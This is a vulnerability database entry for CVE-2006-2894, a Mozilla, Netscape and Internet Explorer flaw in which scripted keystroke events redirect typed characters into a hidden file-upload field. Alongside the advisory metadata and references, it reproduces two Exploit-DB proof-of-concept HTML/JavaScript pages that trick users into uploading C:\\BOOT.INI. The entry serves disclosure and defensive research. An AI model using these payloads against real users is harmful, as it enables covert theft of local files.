CVE-2006-2894 : Detail

CVE-2006-2894

A03-Injection
8.73%V3
Network
2006-06-07
08h00 +00:00
2018-10-18
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Mozilla Firefox 1.5.0.4, 2.0.x before 2.0.0.8, Mozilla Suite 1.7.13, Mozilla SeaMonkey 1.0.2 and other versions before 1.1.5, and Netscape 8.1 and earlier allow user-assisted remote attackers to read arbitrary files by tricking a user into typing the characters of the target filename in a text box and using the OnKeyDown, OnKeyPress, and OnKeyUp Javascript keystroke events to change the focus and cause those characters to be inserted into a file upload input control, which can then upload the file when the user submits the form.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4 AV:N/AC:H/Au:N/C:P/I:P/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 27987

Publication date : 2006-06-05 22h00 +00:00
Author : Jesse Ruderman
EDB Verified : Yes

source: https://www.securityfocus.com/bid/18308/info Multiple web browsers are prone to a JavaScript key-filtering vulnerability because the browsers fail to securely handle keystroke input from users. This issue is demonstrated to allow attackers to divert keystrokes from one input form in a webpage to a hidden file-upload dialog in the same page. This may allow remote attackers to initiate file uploads from unsuspecting users. Other attacks may also be possible. Exploiting this issue requires that users manually type the full path of files that attackers wish to download. This may require substantial typing from targeted users, so attackers will likely use keyboard-based games, blogs, or other similar pages to entice users to enter the required keyboard input to exploit this issue. Reportedly, Mozilla Suite, Mozilla Firefox, Mozilla SeaMonkey, Netscape Navigator, and Microsoft Internet Explorer are all vulnerable to this issue. <HTML> <HEAD> <style type="text/css"> .first { } .second { color: white; background-color: white; opacity: 0; } </style> <SCRIPT> //document.onKeyDown = doKeyPress; //document.onKeyUp = doKeyUp; var saved; var e ; var mystring = "C:\\BOOT.INI"; //var i=mystring.length-1; var i=0; function doKeyPress(chucky) { saved = chucky.which; //alert('pressed ' + String.fromCharCode(saved) + '(' + saved + ')'); if (mystring[i] != String.fromCharCode(saved).toUpperCase() || i > mystring.length-1) { return false; } i++; return true; }; function doKeyUp () { document.forms[0].txt.value += String.fromCharCode(saved); document.forms[0].txt.focus(); } </SCRIPT> </HEAD> <BODY > <FORM METHOD=POST action=file.php> <INPUT id='asdf' name="fileupload" defaultValue='asdfasdf' TYPE=FILE OnKeyUp="doKeyUp();" OnKeyPress="return doKeyPress(event);"> <input name=txt id='txt' type=text value='' OnKeyDown="document.forms[0].fileupload.focus();" onClick=""> <input type=button value="invisible" onclick="document.forms[0].fileupload.className='second';"> <input type=button value="visible" onclick="document.forms[0].fileupload.className='first';"> </FORM> </BODY> </HTML>
Exploit Database EDB-ID : 27986

Publication date : 2006-06-05 22h00 +00:00
Author : Jesse Ruderman
EDB Verified : Yes

source: https://www.securityfocus.com/bid/18308/info Multiple web browsers are prone to a JavaScript key-filtering vulnerability because the browsers fail to securely handle keystroke input from users. This issue is demonstrated to allow attackers to divert keystrokes from one input form in a webpage to a hidden file-upload dialog in the same page. This may allow remote attackers to initiate file uploads from unsuspecting users. Other attacks may also be possible. Exploiting this issue requires that users manually type the full path of files that attackers wish to download. This may require substantial typing from targeted users, so attackers will likely use keyboard-based games, blogs, or other similar pages to entice users to enter the required keyboard input to exploit this issue. Reportedly, Mozilla Suite, Mozilla Firefox, Mozilla SeaMonkey, Netscape Navigator, and Microsoft Internet Explorer are all vulnerable to this issue. <HTML> <HEAD> <SCRIPT> //document.onKeyDown = doKeyPress; //document.onKeyUp = doKeyUp; var saved; var e ; var mystring = "C:\\BOOT.INI"; var i=mystring.length-1; function doKeyPress () { e = window.event; saved = e.keyCode; window.status = "e.keyCode == " + e.keyCode + "character is " + mystring.charCodeAt(i); if(e.keyCode != mystring.charCodeAt(i)) { //e.keyCode =0; e.returnValue=false; e.cancelBubble=true; } else { i--; } document.forms[0].fileupload.focus(); } function doKeyUp () { document.forms[0].txt.value += String.fromCharCode(saved); document.forms[0].txt.focus(); } function switchtype() { /* var e = document.getElementById('txt'); document.forms[0].txt.setAttribute("type", "file"); e.setAttribute("value", "asfasfsd"); */ } function fux0rKeys() { } </SCRIPT> </HEAD> <BODY onload="document.forms[0].txt.value='sometext'; document.forms[0].fileupload.value='asdfsdfadsf';"> <FORM METHOD=POST action=file.php> <INPUT id='asdf' name="fileupload" defaultValue='asdfasdf' TYPE=FILE OnKeyUp="doKeyUp();" OnKeyPress="doKeyPress();"> <input name=txt id='txt' type=text value='asdfsdafasdf' OnKeyDown="document.forms[0].fileupload.focus();" asdfnKeyDown="document.forms[0].txt.fireEvent('onKeyPress');" onClick=""> visible </FORM> </BODY> </HTML>

Products Mentioned

Configuraton 0

Mozilla>>Firefox >> Version To (including) 2.0.0.8

Mozilla>>Firefox >> Version 1.5.0.4

Mozilla>>Mozilla_suite >> Version 1.7.13

Mozilla>>Seamonkey >> Version To (including) 1.1.4

Mozilla>>Seamonkey >> Version 1.0.2

Netscape>>Navigator >> Version To (including) 8.1

References

http://www.mandriva.com/security/advisories?name=MDKSA-2006:145
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/27414
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2006/2163
Tags : vdb-entry, x_refsource_VUPEN
http://securityreason.com/securityalert/1059
Tags : third-party-advisory, x_refsource_SREASON
http://secunia.com/advisories/27298
Tags : third-party-advisory, x_refsource_SECUNIA
http://securitytracker.com/id?1018837
Tags : vdb-entry, x_refsource_SECTRACK
http://www.vupen.com/english/advisories/2007/3544
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/20470
Tags : third-party-advisory, x_refsource_SECUNIA
https://usn.ubuntu.com/535-1/
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/20472
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/20467
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2006/2160
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/27383
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/21532
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2008/0083
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/27387
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2006/2164
Tags : vdb-entry, x_refsource_VUPEN
http://www.securityfocus.com/bid/18308
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/27403
Tags : third-party-advisory, x_refsource_SECUNIA
http://lists.virus.org/full-disclosure-0702/msg00225.html
Tags : mailing-list, x_refsource_FULLDISC
http://www.vupen.com/english/advisories/2006/2162
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/27335
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.mandriva.com/security/advisories?name=MDKSA-2006:143
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/20442
Tags : third-party-advisory, x_refsource_SECUNIA
http://sunsolve.sun.com/search/document.do?assetkey=1-66-201516-1
Tags : vendor-advisory, x_refsource_SUNALERT
http://www.ubuntu.com/usn/usn-536-1
Tags : vendor-advisory, x_refsource_UBUNTU